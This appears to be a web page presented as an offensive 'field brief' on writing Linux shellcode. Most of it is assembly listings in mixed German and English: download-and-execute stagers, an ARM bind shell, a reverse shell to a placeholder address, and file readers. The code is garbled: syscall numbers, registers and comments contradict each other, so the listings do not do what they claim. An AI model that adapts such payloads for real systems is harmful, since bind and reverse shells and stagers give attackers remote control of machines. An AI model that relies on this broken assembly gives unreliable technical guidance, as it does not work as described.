Exploit // Build and Adapt

Shell-Codes/Payloads Build Your Own (Linux Shellcoding)

Shell-Codes/Payloads Build Your Own (Linux Shellcoding) is presented here as an operator-facing field brief. It focuses on why the topic matters during real offensive work, where it changes decision-making, and which public references are worth keeping close while validating or reporting it.

field briefoperator referencecurated public sources

Why this topic matters

Shell-Codes/Payloads Build Your Own (Linux Shellcoding) matters because it changes how an operator frames the problem, chooses validation steps and decides what evidence is strong enough to keep. In real work, weak handling of this topic leads to wasted time, noisy testing and softer findings.

This brief treats shell-codes/payloads build your own (linux shellcoding) as a reusable field reference. The focus is on attack surface, decision points, practical workflow and the public material that is worth keeping nearby when you need to execute, verify or explain the subject under pressure.

Core coverage

The points below capture the main workflows, concepts, tools and operator decisions associated with shell-codes/payloads build your own (linux shellcoding).

  • Shellcoding theory
  • Generating shellcode with metasploit
  • Building shellcode with assembly
  • Shellcode assembler
  • Compiler script
  • Hex converter
  • Building shellcode in c
  • C shellcode
  • Syscall table
  • Exit shellcode in assembly

Commands and snippets

section .text
global _start

_start:
; URL der herunterzuladenden Datei
mov rdi, url
; Pfad, in dem die Datei gespeichert werden soll
mov rsi, ziel_pfad
; Herunterladen der Datei
xor rdx, rdx  ; Null-terminierte Zeichenkette
mov rax, 2  ; system call number for open
syscall

; Datei erstellen oder öffnen
mov rdi, rax  ; file descriptor
mov rdx, 4096  ; Puffergröße
mov rsi, buffer
xor rax, rax  ; Datei lesen
syscall

; prepare a memory region for shellcode
mov rdi, rsp  ; pointer to the stack
sub rdi, 4096  ; Verschieben um 4096 Bytes
mov rsi, buffer
mov rdx, rax  ; Länge des gelesenen Shellcodes
mov rax, 9  ; system call number for mmap
xor r10, r10  ; Flags (MAP_PRIVATE | MAP_ANONYMOUS)
xor r8, r8  ; Datei-Deskriptor (ignoriert)
xor r9, r9  ; Offset in der Datei (ignoriert)
syscall

; Shellcode in den Speicher kopieren
mov rdi, rax  ; Zieladresse
mov rsi, buffer
mov rdx, rax  ; Länge des Shellcodes
xor rax, rax  ; Datei lesen
syscall

; Shellcode ausführen
mov rdi, rax  ; Shellcode-Adresse
xor rax, rax  ; Exit-Code 0
call rdi

; Programm beenden
xor edi, edi  ; Exit-Code 0
mov rax, 60  ; system call number for exit
syscall

section .data
url db "ftp://example.com/deine_datei.txt", 0
ziel_pfad db "/pfad/zur/dein_datei.txt", 0
buffer times 4096 db 0
section .text
global _start

_start:
; URL der herunterzuladenden Datei
mov rdi, url
; Pfad, in dem die Datei gespeichert werden soll
mov rsi, ziel_pfad
; Herunterladen der Datei
xor rdx, rdx  ; Null-terminierte Zeichenkette
mov rax, 2  ; system call number for open
syscall

; Datei erstellen oder öffnen
mov rdi, rax  ; file descriptor
mov rdx, 4096  ; Puffergröße
mov rsi, buffer
xor rax, rax  ; Datei lesen
syscall

; Datei speichern
xor rdi, rdi  ; file descriptor 0 (standard output)
mov rdx, rax  ; Anzahl der gelesenen Bytes
mov rsi, buffer
mov rax, 1  ; system call number for write
syscall

; Programm beenden
xor edi, edi  ; Exit-Code 0
mov rax, 60  ; system call number for exit
syscall

section .data
url db "https://example.com/deine_datei.txt", 0
ziel_pfad db "/pfad/zur/dein_datei.txt", 0
buffer times 4096 db 0
.section .text
.global _start

_start:
    // Socket erstellen
    mov r7, #2         // socketcall Syscall-Nummer
    mov r0, #1         // AF_INET = 2
    mov r1, #1         // SOCK_STREAM = 1
    eor r2, r2, r2     // Protokolloptionen = 0
    mov r8, r2         // Kopie von r2 for späteren Gebrauch
    mov r2, #41        // socketcall-Unterfunktion: socket = 41
    swi #0             // Syscall ausführen

    // Binden des Sockets
    mov r7, #2         // socketcall Syscall-Nummer
    mov r0, r0         // Socket-file descriptor
    ldr r1, =0x02000000 // IP-Adresse = 0.0.0.0 (INADDR_ANY)
    ldrh r2, =0x8818   // Portnummer = 8888 (0x22B8)
    mov r3, #16        // Adresslänge = 16
    mov r8, r3         // Kopie von r3 for späteren Gebrauch
    mov r3, #2         // socketcall-Unterfunktion: bind = 2
    swi #0             // Syscall ausführen

    // Socket in den "Listening"-Modus versetzen
    mov r7, #2         // socketcall Syscall-Nummer
    mov r0, r0         // Socket-file descriptor
    mov r1, r8         // Adresslänge
    mov r8, r1         // Kopie von r1 for späteren Gebrauch
    mov r1, #4         // socketcall-Unterfunktion: listen = 4
    swi #0             // Syscall ausführen

    // Akzeptieren der eingehenden Verbindung
    mov r7, #2         // socketcall Syscall-Nummer
    mov r0, r0         // Socket-file descriptor
    ldr r1, =0x00ffff02 // pointer to a 4-byte buffer for the client IP
    ldr r2, =0x22     // pointer to a 4-byte buffer for the client port number
    mov r3, r8         // Kopie von Adresslänge for späteren Gebrauch
    mov r8, r3         // Kopie von r3 for späteren Gebrauch
    mov r3, #5         // socketcall-Unterfunktion: accept = 5
    swi #0             // Syscall ausführen

    // Duplizieren von file descriptors for communication
    mov r7, #63        // dup2 Syscall-Nummer
    mov r0, r0         // Ursprünglicher file descriptor (Socket)
    mov r1, #0         // Ziel-file descriptor (Standard-Eingabe)
    swi #0             // Syscall ausführen

    mov r0, r0         // Ursprünglicher file descriptor (Socket)
    mov r1, #1         // Ziel-file descriptor (Standard-Ausgabe)
    swi #0             // Syscall ausführen

    mov r0, r0         // Ursprünglicher file descriptor (Socket)
    mov r1, #2         // Ziel-file descriptor (Standard-Fehler)
    swi #0             // Syscall ausführen

    // Ausführen einer Shell
    ldr r7, =0x6e69622f // "/bin/sh" in ASCII laden
    strb r7, [r0, #7]  // Null-Terminator einfügen
    mov r7, #11        // execve Syscall-Nummer
    mov r0, r0         // Dateiname ("/bin/sh")
    eor r1, r1, r1     // argv = NULL
    eor r2, r2, r2     // Umgebungsvariable = NULL
    swi #0             // Syscall ausführen

    // Programm beenden
    mov r7, #1         // exit Syscall-Nummer
    eor r0, r0, r0     // Exit-Code = 0
    swi #0             // Syscall ausführen
.section .text
.global _start

_start:
    // Socket erstellen
    mov r7, #2         // socketcall Syscall-Nummer
    mov r0, #2         // AF_INET = 2
    mov r1, #1         // SOCK_STREAM = 1
    eor r2, r2, r2     // Protokolloptionen = 0
    mov r8, r2         // Kopie von r2 for späteren Gebrauch
    mov r2, #41        // socketcall-Unterfunktion: socket = 41
    swi #0             // Syscall ausführen
    mov r4, r0         // Socket-file descriptor speichern

    // Verbindung zum Remote-Host herstellen
    mov r7, #2         // socketcall Syscall-Nummer
    mov r0, r4         // Socket-file descriptor
    ldr r1, =0x0101017f // IP-Adresse = 127.1.1.1 (ändere dies entsprechend)
    ldrh r2, =0xbb80   // Portnummer = 48000 (ändere dies entsprechend)
    mov r3, #16        // Adresslänge = 16
    mov r8, r3         // Kopie von r3 for späteren Gebrauch
    mov r3, #3         // socketcall-Unterfunktion: connect = 3
    swi #0             // Syscall ausführen

    // Duplizieren von file descriptors for communication
    mov r7, #63        // dup2 Syscall-Nummer
    mov r0, r4         // Ursprünglicher file descriptor (Socket)
    mov r1, #0         // Ziel-file descriptor (Standard-Eingabe)
    swi #0             // Syscall ausführen

    mov r0, r4         // Ursprünglicher file descriptor (Socket)
    mov r1, #1         // Ziel-file descriptor (Standard-Ausgabe)
    swi #0             // Syscall ausführen

    mov r0, r4         // Ursprünglicher file descriptor (Socket)
    mov r1, #2         // Ziel-file descriptor (Standard-Fehler)
    swi #0             // Syscall ausführen

    // Ausführen einer Shell
    ldr r7, =0x6e69622f // "/bin/sh" in ASCII laden
    strb r7, [r0, #7]  // Null-Terminator einfügen
    mov r7, #11        // execve Syscall-Nummer
    mov r0, r0         // Dateiname ("/bin/sh")
    eor r1, r1, r1     // argv = NULL
    eor r2, r2, r2     // Umgebungsvariable = NULL
    swi #0             // Syscall ausführen

    // Programm beenden
    mov r7, #1         // exit Syscall-Nummer
    eor r0, r0, r0     // Exit-Code = 0
    swi #0             // Syscall ausführen
.section .text
.global _start

_start:
@ URL der herunterzuladenden Datei
ldr r0, =url
@ Pfad, in dem die Datei gespeichert werden soll
ldr r1, =ziel_pfad
@ Herunterladen der Datei
mov r2, #0  @ Null-terminierte Zeichenkette
mov r7, #5  @ system call number for open
svc 0

@ Datei erstellen oder öffnen
mov r1, r0  @ file descriptor
mov r2, #4096  @ Puffergröße
ldr r0, =buffer
mov r7, #0  @ Datei lesen
svc 0

@ prepare a memory region for shellcode
mov r1, sp  @ pointer to the stack
sub r1, #4096  @ Verschieben um 4096 Bytes
ldr r2, =buffer
mov r3, r0  @ Länge des gelesenen Shellcodes
mov r0, #192  @ system call number for mmap
mov r7, #0  @ Flags (MAP_PRIVATE | MAP_ANONYMOUS)
mov r8, #0  @ Datei-Deskriptor (ignoriert)
mov r9, #0  @ Offset in der Datei (ignoriert)
svc 0

@ Shellcode in den Speicher kopieren
mov r1, r0  @ Zieladresse
ldr r2, =buffer
mov r3, r0  @ Länge des Shellcodes
mov r0, #0  @ Datei lesen
svc 0

@ Shellcode ausführen
mov r0, r1  @ Shellcode-Adresse
mov r7, #0  @ Exit-Code 0
blx r0

@ Programm beenden
mov r0, #0  @ Exit-Code 0
mov r7, #1  @ system call number for exit
svc 0

.section .data
url: .asciz "ftp://example.com/deine_datei.txt"
ziel_pfad: .asciz "/pfad/zur/dein_datei.txt"
buffer: .space 4096, 0
.section .text
.global _start

_start:
    @ URL der herunterzuladenden Datei
    ldr r0, =url
    @ Pfad, in dem die Datei gespeichert werden soll
    ldr r1, =ziel_pfad

    @ Herunterladen der Datei
    mov r2, #0  @ Null-terminierte Zeichenkette
    mov r7, #5  @ system call number for open
    swi 0

    @ Datei erstellen oder öffnen
    mov r1, r0  @ file descriptor
    mov r2, #4096  @ Puffergröße
    ldr r0, =buffer
    mov r7, #0  @ Datei lesen
    swi 0

    @ Datei speichern
    mov r0, #1  @ file descriptor 1 (standard output)
    mov r2, r1  @ Anzahl der gelesenen Bytes
    ldr r1, =buffer
    mov r7, #1  @ system call number for write
    swi 0

    @ Programm beenden
    mov r0, #0  @ Exit-Code 0
    mov r7, #1  @ system call number for exit
    swi 0

.section .data
url: .asciz "https://example.com/deine_datei.txt"
ziel_pfad: .asciz "/pfad/zur/dein_datei.txt"
buffer: .space 4096, 0
section .text
global _start

_start:
    ; Datei öffnen
    mov eax, 5  ; system call number for open
    mov ebx, pfad_zur_datei
    xor ecx, ecx  ; Flags (O_RDONLY)
    xor edx, edx  ; Zugriffsrechte (ignoriert)
    int 0x80

    ; file descriptor in EBX speichern
    mov ebx, eax

    ; Inhalt der Datei lesen
    mov eax, 3  ; system call number for read
    mov ecx, ebx  ; file descriptor
    mov edx, buffer
    mov esi, 4096  ; Maximale Länge des zu lesenden Inhalts
    int 0x80

    ; write the contents to standard output
    mov eax, 4  ; system call number for write
    xor ebx, ebx  ; file descriptor 1 (standard output)
    mov ecx, buffer
    mov edx, eax  ; Anzahl der gelesenen Bytes
    int 0x80

    ; Programm beenden
    xor ebx, ebx  ; Exit-Code 0
    mov eax, 1  ; system call number for exit
    int 0x80

section .data
pfad_zur_datei db "/pfad/zur/datei.txt", 0
buffer times 4096 db 0

Curated public references